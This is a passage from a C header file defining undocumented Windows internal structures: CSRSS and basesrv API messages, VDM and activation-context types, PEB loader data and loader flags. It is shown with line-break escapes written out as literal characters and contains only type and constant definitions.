h;\r\n\tunion\r\n\t{\r\n\t\tCSR_API_CONNECTINFO ConnectionRequest;\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tPCSR_CAPTURE_HEADER CaptureBuffer;\r\n\t\t\tCSR_API_NUMBER ApiNumber;\r\n\t\t\tULONG ReturnValue;\r\n\t\t\tULONG Reserved;\r\n\t\t\tunion\r\n\t\t\t{\r\n\t\t\t\tCSR_CLIENTCONNECT_MSG ClientConnect;\r\n\t\t\t\tULONG_PTR ApiMessageData[ 46 ];\r\n\t\t\t} u;\r\n\t\t};\r\n\t};\r\n} CSR_API_MSG, *PCSR_API_MSG;\r\n\r\ntypedef\r\nULONG (*PCSR_CALLBACK_ROUTINE)(\r\n\t_Inout_ PCSR_API_MSG ReplyMsg\r\n\t);\r\n\r\ntypedef struct _CSR_CALLBACK_INFO\r\n{\r\n\tULONG ApiNumberBase;\r\n\tULONG MaxApiNumber;\r\n\tPCSR_CALLBACK_ROUTINE *CallbackDispatchTable;\r\n} CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO;\r\n\r\n// end csrss\r\n\r\n\r\n//\r\n// Time Zone\r\n//\r\n\r\ntypedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION {\r\n\tstruct _RTL_TIME_ZONE_INFORMATION tzi;\r\n\tWCHAR TimeZoneKeyName[ 128 ];\r\n\tUCHAR DynamicDaylightTimeDisabled;\r\n} RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION;\t// <size 0x1b0>\r\n\r\n//\r\n// basesrv api\r\n//\r\n\r\ntypedef struct _BASESRV_API_CONNECTINFO\r\n{\r\n\tULONG ExpectedVersion;\r\n\tHANDLE DefaultObjectDirectory;\r\n\tULONG WindowsVersion;\r\n\tULONG CurrentVersion;\r\n\tULONG DebugFlags;\r\n\tWCHAR WindowsDirectory[ MAX_PATH ];\r\n\tWCHAR WindowsSystemDirectory[ MAX_PATH ];\r\n} BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO;\r\n\r\ntypedef enum _BASESRV_API_NUMBER {\r\n\tBasepCreateProcess = BASESRV_FIRST_API_NUMBER,\r\n\tBasepCreateThread,\r\n\tBasepGetTempFile,\r\n\tBasepExitProcess,\r\n\tBasepDebugProcess,\r\n\tBasepCheckVDM,\r\n\tBasepUpdateVDMEntry,\r\n\tBasepGetNextVDMCommand,\r\n\tBasepExitVDM,\r\n\tBasepIsFirstVDM,\r\n\tBasepGetVDMExitCode,\r\n\tBasepSetReenterCount,\r\n\tBasepSetProcessShutdownParam,\r\n\tBasepGetProcessShutdownParam,\r\n\tBasepSetVDMCurDirs,\r\n\tBasepGetVDMCurDirs,\r\n\tBasepBatNotification,\r\n\tBasepRegisterWowExec,\r\n\tBasepSoundSentryNotification,\r\n\tBasepRefreshIniFileMapping,\r\n\tBasepDefineDosDevice,\r\n\tBasepSetTermsrvAppInstallMode,\r\n\tBasepSetTermsrvClientTimeZone,\r\n\tBasepSxsCreateActivationContext,\r\n\tBasepDebugProcessStop,\r\n\tBasepRegisterThread,\r\n\tBasepDeferredCreateProcess,\r\n\tBasepNlsGetUserInfo,\r\n\tBasepNlsSetUserInfo,\r\n\tBasepNlsUpdateCacheCount,\r\n\tBasepMaxApiNumber\r\n} BASESRV_API_NUMBER, *PBASESRV_API_NUMBER;\r\n\r\ntypedef struct _BASE_NLS_SET_USER_INFO_MSG\r\n{\r\n\tULONG LCType;\r\n\tUSHORT* pData;\r\n\tULONG DataLength;\r\n} BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG;\r\n\r\ntypedef struct _BASE_NLS_GET_USER_INFO_MSG\r\n{\r\n\tstruct _NLS_USER_INFO* pData;\r\n\tULONG DataLength;\r\n} BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG;\r\n\r\ntypedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG\r\n{\r\n\tULONG Reserved;\r\n} BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG;\r\n\r\ntypedef struct _BASE_UPDATE_VDM_ENTRY_MSG\r\n{\r\n\tULONG iTask;\r\n\tULONG BinaryType;\r\n\tPVOID ConsoleHandle;\r\n\tPVOID VDMProcessHandle;\r\n\tPVOID WaitObjectForParent;\r\n\tUSHORT EntryIndex;\r\n\tUSHORT VDMCreationState;\r\n} BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG;\r\n\r\ntypedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG\r\n{\r\n\tULONG iTask;\r\n\tPVOID ConsoleHandle;\r\n\tPVOID WaitObjectForVDM;\r\n\tPVOID StdIn;\r\n\tPVOID StdOut;\r\n\tPVOID StdErr;\r\n\tULONG CodePage;\r\n\tULONG dwCreationFlags;\r\n\tULONG ExitCode;\r\n\tPCHAR CmdLine;\r\n\tPCHAR AppName;\r\n\tPCHAR PifFile;\r\n\tPCHAR CurDirectory;\r\n\tPCHAR Env;\r\n\tULONG EnvLen;\r\n\tstruct _STARTUPINFOA* StartupInfo;\r\n\tPCHAR Desktop;\r\n\tULONG DesktopLen;\r\n\tPCHAR Title;\r\n\tULONG TitleLen;\r\n\tPCHAR Reserved;\r\n\tULONG ReservedLen;\r\n\tUSHORT CurrentDrive;\r\n\tUSHORT CmdLen;\r\n\tUSHORT AppLen;\r\n\tUSHORT PifLen;\r\n\tUSHORT CurDirectoryLen;\r\n\tUSHORT VDMState;\r\n\tUCHAR fComingFromBat;\r\n} BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG;\r\n\r\ntypedef struct _BASE_SHUTDOWNPARAM_MSG\r\n{\r\n\tULONG ShutdownLevel;\r\n\tULONG ShutdownFlags;\r\n} BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG;\r\n\r\ntypedef struct _BASE_GETTEMPFILE_MSG\r\n{\r\n\tULONG uUnique;\r\n} BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG;\r\n\r\ntypedef struct _BASE_DEBUGPROCESS_MSG\r\n{\r\n\tULONG dwProcessId;\r\n\tCLIENT_ID DebuggerClientId;\r\n\tPVOID AttachCompleteRoutine;\r\n} BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG;\t// <size 0x10>\r\n\r\ntypedef struct _BASE_CHECKVDM_MSG\r\n{\r\n\tULONG  iTask;\r\n\tHANDLE ConsoleHandle;\r\n\tULONG  BinaryType;\r\n\tHANDLE WaitObjectForParent;\r\n\tHANDLE StdIn;\r\n\tHANDLE StdOut;\r\n\tHANDLE StdErr;\r\n\tULONG  CodePage;\r\n\tULONG  dwCreationFlags;\r\n\tPCHAR  CmdLine;\r\n\tPCHAR  AppName;\r\n\tPCHAR  PifFile;\r\n\tPCHAR  CurDirectory;\r\n\tPCHAR  Env;\r\n\tULONG  EnvLen;\r\n\tLPSTARTUPINFOA StartupInfo;\r\n\tPCHAR  Desktop;\r\n\tULONG  DesktopLen;\r\n\tPCHAR  Title;\r\n\tULONG  TitleLen;\r\n\tPCHAR  Reserved;\r\n\tULONG  ReservedLen;\r\n\tUSHORT CmdLen;\r\n\tUSHORT AppLen;\r\n\tUSHORT PifLen;\r\n\tUSHORT CurDirectoryLen;\r\n\tUSHORT CurDrive;\r\n\tUSHORT VDMState;\r\n\tstruct _LUID* UserLuid;\r\n} BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG;\r\n\r\ntypedef struct _BASE_GET_VDM_EXIT_CODE_MSG\r\n{\r\n\tPVOID ConsoleHandle;\r\n\tPVOID hParent;\r\n\tULONG ExitCode;\r\n} BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG;\t// <size 0xc>\r\n\r\ntypedef struct _BASE_DEFERREDCREATEPROCESS_MSG\r\n{\r\n\tstruct _CLIENT_ID* ClientId;\r\n\tULONG NtUserFlags;\r\n} BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG;\t// <size 0x8>\r\n\r\ntypedef struct _BASE_EXITPROCESS_MSG {\r\n\tNTSTATUS uExitCode;\r\n} BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG;\t// <size 0x4>\r\n\r\ntypedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG\r\n{\r\n\tPVOID ConsoleHandle;\r\n\tPCHAR lpszzCurDirs;\r\n\tULONG cchCurDirs;\r\n} BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG;\t// <size 0xc>\r\n\r\ntypedef struct _BASE_SET_REENTER_COUNT\r\n{\r\n\tPVOID ConsoleHandle;\r\n\tULONG fIncDec;\r\n} BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT;\t// <size 0x8>\r\n\r\n#if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300))\r\ntypedef enum\r\n{\r\n    ACTCTX_RUN_LEVEL_UNSPECIFIED = 0,\r\n    ACTCTX_RUN_LEVEL_AS_INVOKER,\r\n    ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE,\r\n    ACTCTX_RUN_LEVEL_REQUIRE_ADMIN,\r\n    ACTCTX_RUN_LEVEL_NUMBERS\r\n} ACTCTX_REQUESTED_RUN_LEVEL;\r\n\r\ntypedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION {\r\n    DWORD ulFlags;\r\n    ACTCTX_REQUESTED_RUN_LEVEL  RunLevel;\r\n    DWORD UiAccess;\r\n} ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION;\r\n\r\ntypedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION;\r\n\r\n\r\n#endif\r\n\r\ntypedef struct _BASE_SXS_CREATEPROCESS_MSG\r\n{\r\n\tULONG Flags;\r\n\tULONG ProcessParameterFlags;\r\n\tunion\r\n\t{\r\n\t\tUNICODE_STRING CultureFallbacks;\r\n\t\tACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel;\r\n\t\tUNICODE_STRING AssemblyName;\r\n\t} u;\r\n} BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG;\t// <size 0x80>\r\n\r\n\r\ntypedef struct _BASE_CREATEPROCESS_MSG\r\n{\r\n\tPVOID ProcessHandle;\r\n\tPVOID ThreadHandle;\r\n\tCLIENT_ID ClientId;\r\n\tULONG CreationFlags;\r\n\tULONG VdmBinaryType;\r\n\tULONG VdmTask;\r\n\tPVOID hVDM;\r\n\tstruct _BASE_SXS_CREATEPROCESS_MSG Sxs;\r\n\tULONGLONG PebAddressNative;\r\n\tULONG PebAddressWow64;\r\n\tUSHORT ProcessorArchitecture;\r\n} BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG;\t// <size 0xb0>\r\n\r\n\r\ntypedef struct _BASE_CREATETHREAD_MSG\r\n{\r\n\tPVOID ThreadHandle;\r\n\tCLIENT_ID ClientId;\r\n} BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG;\t// <size 0xc>\r\n\r\n\r\ntypedef struct _BASE_MSG_SXS_HANDLES\r\n{\r\n\tPVOID File;\r\n\tPVOID Process;\r\n\tPVOID Section;\r\n\tULONGLONG ViewBase;\r\n} BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES;\t// <size 0x18>\r\n\r\n\r\ntypedef struct _BASE_EXIT_VDM_MSG\r\n{\r\n\tPVOID ConsoleHandle;\r\n\tULONG iWowTask;\r\n\tPVOID WaitObjectForVDM;\r\n} BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG;\t// <size 0xc>\r\n\r\n\r\ntypedef struct _BASE_IS_FIRST_VDM_MSG\r\n{\r\n\t__int32 FirstVDM;\r\n} BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG;\t// <size 0x4>\r\n\r\n\r\ntypedef struct _BASE_SET_REENTER_COUNT_MSG\r\n{\r\n\tPVOID ConsoleHandle;\r\n\tULONG fIncDec;\r\n} BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG;\t// <size 0x8>\r\n\r\n\r\ntypedef struct _BASE_BAT_NOTIFICATION_MSG\r\n{\r\n\tPVOID ConsoleHandle;\r\n\tULONG fBeginEnd;\r\n} BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG;\t// <size 0x8>\r\n\r\n\r\ntypedef struct _BASE_REGISTER_WOWEXEC_MSG\r\n{\r\n\tPVOID hEventWowExec;\r\n\tPVOID ConsoleHandle;\r\n} BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG;\t// <size 0x8>\r\n\r\n\r\ntypedef struct _BASE_REFRESHINIFILEMAPPING_MSG\r\n{\r\n\tUNICODE_STRING IniFileName;\r\n} BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG;\t// <size 0x8>\r\n\r\n\r\ntypedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE\r\n{\r\n\tstruct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo;\r\n\tULONG ulDTZInfoSize;\r\n\tKSYSTEM_TIME RealBias;\r\n\tULONG TimeZoneId;\r\n} BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE;\t// <size 0x18>\r\n\r\ntypedef struct _BASE_SET_TERMSRVAPPINSTALLMODE\r\n{\r\n\t__int32 bState;\r\n} BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE;\r\n\r\n\r\ntypedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG\r\n{\r\n\tULONG VideoMode;\r\n} BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG;\t// <size 0x4>\r\n\r\n\r\ntypedef struct _BASE_DEFINEDOSDEVICE_MSG\r\n{\r\n\tULONG Flags;\r\n\tUNICODE_STRING DeviceName;\r\n\tUNICODE_STRING TargetPath;\r\n} BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG;\t// <size 0x14>\r\n\r\ntypedef struct _BASE_MSG_SXS_STREAM\r\n{\r\n\tUCHAR FileType;\r\n\tUCHAR PathType;\r\n\tUCHAR HandleType;\r\n\tUNICODE_STRING Path;\r\n\tPVOID FileHandle;\r\n\tHANDLE Handle;\r\n\tunsigned __int64 Offset;\r\n\tULONG Size;\r\n} BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM;\t// <size 0x28>\r\n\r\n\r\ntypedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG\r\n{\r\n\tULONG Flags;\r\n\tUSHORT ProcessorArchitecture;\r\n\tUNICODE_STRING CultureFallbacks;\r\n\tstruct _BASE_MSG_SXS_STREAM Manifest;\r\n\tstruct _BASE_MSG_SXS_STREAM Policy;\r\n\tUNICODE_STRING AssemblyDirectory;\r\n\tUNICODE_STRING TextualAssemblyIdentity;\r\n\tunsigned __int64 FileTime;\r\n\tULONG ResourceName;\r\n\tPVOID ActivationContextData;\r\n\tstruct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel;\r\n\tUNICODE_STRING AssemblyName;\r\n} BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG;\t// <size 0x98>\r\n\r\n\r\n\r\ntypedef struct _BASE_API_MSG\r\n{\r\n\tPORT_MESSAGE h;\r\n\tstruct _CSR_CAPTURE_HEADER* CaptureBuffer;\r\n\tCSR_API_NUMBER ApiNumber;\r\n\tULONG ReturnValue;\r\n\tULONG Reserved;\r\n\tunion\r\n\t{ /* size 0xb0*/\r\n\t\tBASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo;\r\n\t\tBASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo;\r\n\t\tBASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount;\r\n\t\tBASE_SHUTDOWNPARAM_MSG ShutdownParam;\r\n\t\tBASE_CREATEPROCESS_MSG CreateProcess;\r\n\t\tBASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess;\r\n\t\tBASE_CREATETHREAD_MSG CreateThread;\r\n\t\tBASE_GETTEMPFILE_MSG GetTempFile;\r\n\t\tBASE_EXITPROCESS_MSG ExitProcess;\r\n\t\tBASE_DEBUGPROCESS_MSG DebugProcess;\r\n\t\tBASE_CHECKVDM_MSG CheckVDM;\r\n\t\tBASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry;\r\n\t\tBASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand;\r\n\t\tBASE_EXIT_VDM_MSG ExitVDM;\r\n\t\tBASE_IS_FIRST_VDM_MSG IsFirstVDM;\r\n\t\tBASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode;\r\n\t\tBASE_SET_REENTER_COUNT SetReenterCount;\r\n\t\tBASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs;\r\n\t\tBASE_BAT_NOTIFICATION_MSG BatNotification;\r\n\t\tBASE_REGISTER_WOWEXEC_MSG RegisterWowExec;\r\n\t\tBASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification;\r\n\t\tBASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping;\r\n\t\tBASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi;\r\n\t\tBASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode;\r\n\t\tBASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone;\r\n\t\tBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext;\r\n\t} u;\r\n} BASE_API_MSG, *PBASE_API_MSG;\t// <size 0xd8>\r\n\r\ntypedef struct _BASE_STATIC_SERVER_DATA\r\n{\r\n\tUNICODE_STRING WindowsDirectory;\r\n\tUNICODE_STRING WindowsSystemDirectory;\r\n\tUNICODE_STRING NamedObjectDirectory;\r\n\tUSHORT WindowsMajorVersion;\r\n\tUSHORT WindowsMinorVersion;\r\n\tUSHORT BuildNumber;\r\n\tUSHORT CSDNumber;\r\n\tUSHORT RCNumber;\r\n\tWCHAR CSDVersion[128];\r\n\tSYSTEM_BASIC_INFORMATION SysInfo;\r\n\tSYSTEM_TIMEOFDAY_INFORMATION TimeOfDay;\r\n\tstruct _INIFILE_MAPPING* IniFileMapping;\r\n\tNLS_USER_INFO NlsUserInfo;\r\n\tUCHAR DefaultSeparateVDM;\r\n\tUCHAR IsWowTaskReady;\r\n\tUNICODE_STRING WindowsSys32x86Directory;\r\n\tUCHAR fTermsrvAppInstallMode;\r\n\tRTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone;\r\n\tKSYSTEM_TIME ktTermsrvClientBias;\r\n\tULONG TermsrvClientTimeZoneId;\r\n\tUCHAR LUIDDeviceMapsEnabled;\r\n\tULONG TermsrvClientTimeZoneChangeNum;\r\n} BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA;\t// <size 0x1860>\r\n\r\n#define GDI_BATCH_BUFFER_SIZE 310\r\n\r\ntypedef struct _GDI_TEB_BATCH {\r\n\tULONG\tOffset;\r\n\tUCHAR\tAlignment[4];\r\n\tULONG_PTR HDC;\r\n\tULONG\tBuffer[GDI_BATCH_BUFFER_SIZE];\r\n} GDI_TEB_BATCH,*PGDI_TEB_BATCH;\r\n\r\ntypedef enum _EVENT_TYPE {\r\n\tNotificationEvent,\r\n\tSynchronizationEvent\r\n} EVENT_TYPE;\r\n\r\ntypedef enum _TIMER_TYPE {\r\n\tNotificationTimer,\r\n\tSynchronizationTimer\r\n} TIMER_TYPE;\r\n\r\ntypedef enum _WAIT_TYPE {\r\n\tWaitAll,\r\n\tWaitAny\r\n} WAIT_TYPE;\r\n\r\n#define STATIC_UNICODE_BUFFER_LENGTH 261\r\n#define WIN32_CLIENT_INFO_LENGTH 62\r\n\r\n#define WIN32_CLIENT_INFO_SPIN_COUNT 1\r\n\r\ntypedef PVOID* PPVOID;\r\n\r\n#define TLS_MINIMUM_AVAILABLE 64\r\n\r\ntypedef struct _ASSEMBLY_STORAGE_MAP_ENTRY {\r\n\r\n\tULONG Flags;\r\n\tUNICODE_STRING DosPath;\r\n\tPVOID Handle;\r\n} ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY;\r\n\r\ntypedef struct _ASSEMBLY_STORAGE_MAP {\r\n\r\n\tULONG Flags;\r\n\tULONG AssemblyCount;\r\n\tstruct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray;\r\n} ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP;\r\n\r\ntypedef struct _ACTIVATION_CONTEXT_DATA {\r\n\tULONG Magic;\r\n\tULONG HeaderSize;\r\n\tULONG FormatVersion;\r\n\tULONG TotalSize;\r\n\tULONG DefaultTocOffset;\r\n\tULONG ExtendedTocOffset;\r\n\tULONG AssemblyRosterOffset;\r\n\tULONG Flags;\r\n} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA;\r\n\r\ntypedef struct _ACTIVATION_CONTEXT {\r\n\r\n\tLONG RefCount;\r\n\tULONG Flags;\r\n\tLIST_ENTRY Links;\r\n\tstruct _ACTIVATION_CONTEXT_DATA* ActivationContextData;\r\n\t//void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*);\r\n\tstruct _ACTIVATION_CONTEXT* NotificationRoutine;\r\n\tPVOID NotificationContext;\r\n\tULONG SentNotifications[8];\r\n\tULONG DisabledNotifications[8];\r\n\tstruct _ASSEMBLY_STORAGE_MAP StorageMap;\r\n\tstruct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32];\r\n\tULONG StackTraceIndex;\r\n\tPVOID StackTraces[4][4];\r\n} ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT;\t// <size 0x12c>\r\n\r\ntypedef struct _PEB_FREE_BLOCK {\r\n\tstruct _PEB_FREE_BLOCK *Next;\r\n\tULONG Size;\r\n} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n\tULONG Length;\r\n\tBOOLEAN Initialized;\r\n\tHANDLE SsHandle;\r\n\tLIST_ENTRY InLoadOrderModuleList;\r\n\tLIST_ENTRY InMemoryOrderModuleList;\r\n\tLIST_ENTRY InInitializationOrderModuleList;\r\n\tPVOID EntryInProgress;\r\n\tBOOLEAN ShutdownInProgress;\r\n\tHANDLE ShutdownThreadId;\r\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\r\n\r\ntypedef struct _INITIAL_TEB\r\n{\r\n\tstruct\r\n\t{\r\n\t\tPVOID OldStackBase;\r\n\t\tPVOID OldStackLimit;\r\n\t} OldInitialTeb;\r\n\r\n\tPVOID StackBase;\r\n\tPVOID StackLimit;\r\n\tPVOID StackAllocationBase;\r\n\r\n} INITIAL_TEB, *PINITIAL_TEB;\r\n\r\ntypedef struct _WOW64_PROCESS\r\n{\r\n\tPVOID Wow64;\r\n} WOW64_PROCESS, *PWOW64_PROCESS;\r\n\r\n//\r\n// Private flags for loader data table entries\r\n//\r\n\r\n#define LDRP_STATIC_LINK                0x00000002\r\n#define LDRP_IMAGE_DLL                  0x00000004\r\n#define LDRP_LOAD_IN_PROGRESS           0x00001000\r\n#define LDRP_UNLOAD_IN_PROGRESS         0x00002000\r\n#define LDRP_ENTRY_PROCESSED            0x00004000\r\n#define LDRP_ENTRY_INSERTED             0x00008000\r\n#define LDRP_CURRENT_LOAD               0x00010000\r\n#define LDRP_FAILED_BUILTIN_LOAD        0x00020000\r\n#define LDRP_DONT_CALL_FOR_THREADS      0x00040000\r\n#define LDRP_PROCESS_ATTACH_CALLED      0x00080000\r\n#define LDRP_DEBUG_SYMBOLS_LOADED       0x00100000\r\n#define LDRP_IMAGE_NOT_AT_BASE          0x00200000\r\n#define LDRP_COR_IMAGE                  0x00400000\r\n#define LDRP_COR_OWNS_UNMAP             0x00800000\r\n#define LDRP_SYSTEM_MAPPED              0x01000000\r\n#define LDRP_IMAGE_VERIFYING            0x02000000\r\n#define LDRP_DRIVER_DEPENDENT_DLL       0x04000000\r\n#define LDRP_ENTRY_NATIVE               0x08000000\r\n#define LDRP_REDIRECTED                 0x10000000\r\n#define LDRP_NON_PAGED_DEBUG_INFO       0x20000000\r\n#define LDRP_MM_LOADED                  0x40000000\r\n#define LDRP_COMPAT_DATABASE_PROCESSED  0x80000000\r\n\r\n#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001\r\n#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002\r\n\r\n#define LDR_ADDREF_DLL_PIN 0x00000001\r\n\r\n#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001\r\n\r\n#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001\r\n#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002\r\n\r\n#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0\r\n#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1\r\n#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2\r\n\r\n#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001\r\n\r\n#define LDR_DLL_NOTIFICATION_REASON_LOADED 1\r\n#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2\r\n\r\ntypedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA\r\n{\r\n\tULONG Flags;\r\n\tPUNICODE_STRING FullDllName;\r\n\tPUNICODE_STRING BaseDllName;\r\n\tPVOID DllBase;\r\n\tULONG SizeOfImage;\r\n} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA;\r\n\r\ntypedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA\r\n{\r\n\tULONG Flags;\r\n\tPCUNICODE_STRING FullDllName;\r\n\tPCUNICODE_STRING BaseDllName;\r\n\tPVOID DllBase;\r\n\tULONG SizeOfImage;\r\n} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA;\r\n\r\ntypedef union _LDR_DLL_NOTIFICATION_DATA\r\n{\r\n\tLDR_DLL_LOADED_NOTIFICATION_DATA Loaded;\r\n\tLDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;\r\n} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA;\r\n\r\ntypedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)(\r\n\tIN ULONG NotificationReason,\r\n\tIN PLDR_DLL_NOTIFICATION_DATA NotificationData,\r\n\t_In_opt_ PVOID Context\r\n\t);\r\n\r\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION\r\n{\r\n\tHANDLE Section;\r\n\tPVOID MappedBase;\r\n\tPVOID ImageBase;\r\n\tULONG ImageSize;\r\n\tULONG Flags;\r\n\tUSHORT LoadOrderIndex;\r\n\tUSHORT InitOrderIndex;\r\n\tUSHORT LoadCount;\r\n\tUSHORT OffsetToFileName;\r\n\tUCHAR FullPathName[256];\r\n} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;\r\n\r\ntypedef struct _RTL_PROCESS_MODULES\r\n{\r\n\tULONG NumberOfModules;\r\n\tRTL_PROCESS_MODULE_INFORMATION Modules[1];\r\n} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;\r\n\r\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION_EX\r\n{\r\n\tUSHORT NextOffset;\r\n\tRTL_PROCESS_MODULE_INFORMATION BaseInfo;\r\n\tULONG ImageChecksum;\r\n\tULONG TimeDateStamp;\r\n\tPVOID DefaultBase;\r\n} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX;\r\n\r\n//\r\n// Loader Data Table. Used to track DLLs loaded into an\r\n// image.\r\n//\r\n#ifdef __cplusplus\r\nstruct LIST_ENTRY_EX : public LIST_ENTRY\r\n{\r\n\tBYTE unk1[8];\r\n\tHANDLE base;\r\n\tBYTE unk2[20];\r\n\tWCHAR* name;\r\n};\r\n#endif\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY\r\n{\r\n    LIST_ENTRY InLoadOrderLinks;\r\n    LIST_ENTRY InMemoryOrderLinks;\r\n    LIST_ENTRY InInitializationOrderLinks;\r\n    PVOID DllBase;\r\n    PVOID EntryPoint;\r\n    ULONG SizeOfImage;\r\n    UNICODE_STRING FullDllName;\r\n    UNICODE_STRING BaseDllName;\r\n    ULONG Flags;\r\n    USHORT LoadCount;\r\n    USHORT TlsIndex;\r\n    union\r\n    {\r\n        LIST_ENTRY HashLinks;\r\n        struct\r\n        {\r\n            PVOID SectionPointer;\r\n            ULONG 